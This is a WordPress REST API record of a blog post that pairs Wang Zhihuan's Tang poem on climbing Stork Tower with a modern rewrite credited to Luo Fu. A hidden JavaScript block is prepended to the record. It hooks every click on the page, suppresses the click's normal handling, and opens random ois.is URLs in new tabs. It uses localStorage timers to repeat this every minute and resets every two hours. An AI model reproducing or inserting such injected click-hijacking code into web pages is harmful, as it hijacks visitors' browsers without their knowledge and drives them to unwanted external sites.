<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1256,"date":"2016-03-17T22:42:31","date_gmt":"2016-03-17T14:42:31","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1256"},"modified":"2016-03-17T22:42:31","modified_gmt":"2016-03-17T14:42:31","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e7%99%bb%e9%b8%9b%e9%9b%80%e6%a8%93%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1256","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u767b\u9e1b\u96c0\u6a13\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u5510\u8a69\u89e3\u69cb\uff0f<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u767b\u9e1b\u96c0\u6a13\u2299\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u7d30\u660e\u9ad4; color: #0074ad;\">\u539f\u4f5c<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u767d\u65e5\u4f9d\u5c71\u76e1\uff0c\u9ec3\u6cb3\u5165\u6d77\u6d41\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6b32\u7aae\u5343\u91cc\u76ee\uff0c\u66f4\u4e0a\u4e00\u5c64\u6a13\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3000\u3000\u3000\u3000\u3000 \u00a0 \u00a0 \u00a0 \u00a0\u00a0<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u2500\u2500\u738b\u4e4b\u6e19<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u7d30\u660e\u9ad4; color: #0074ad;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8f5f\u8f5f\u7136\uff0c\u4e00\u9846\u5de8\u5927\u7684\u843d\u65e5<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u61c9\u8072\u5165\u6d77<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u628a\u9ec3\u6cb3\u6e67\u9032\u7684\u6c34<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5dee\u9ede\u716e\u6cb8<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u767b\u6a13\u767b\u6a13<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u518d\u4e0a\u4e00\u5c64<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u66f4\u4e0a\u4e00\u5c64<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4f60\u6e96\u53ef\u770b\u5230\u8352\u7159\u5343\u91cc\u4e4b\u5916<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u53e6\u4e00\u9846\u592a\u967d<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5629\u7136\u5347\u8d77<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span style=\"font-size: 11pt; font-family: 'Times New Roman', serif;\">214\/01\/20<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\uff0f\u767b\u9e1b\u96c0\u6a13\u2299\u6d1b\u592b \u539f\u4f5c \u767d\u65e5\u4f9d\u5c71\u76e1\uff0c\u9ec3\u6cb3\u5165\u6d77\u6d41\uff0c \u6b32\u7aae\u5343\u91cc\u76ee\uff0c\u66f4\u4e0a\u4e00\u5c64\u6a13\u3002 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u3000\u3000\u3000\u3000 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1256"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1256"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1256\/revisions"}],"predecessor-version":[{"id":1257,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1256\/revisions\/1257"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1256"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1256"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1256"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}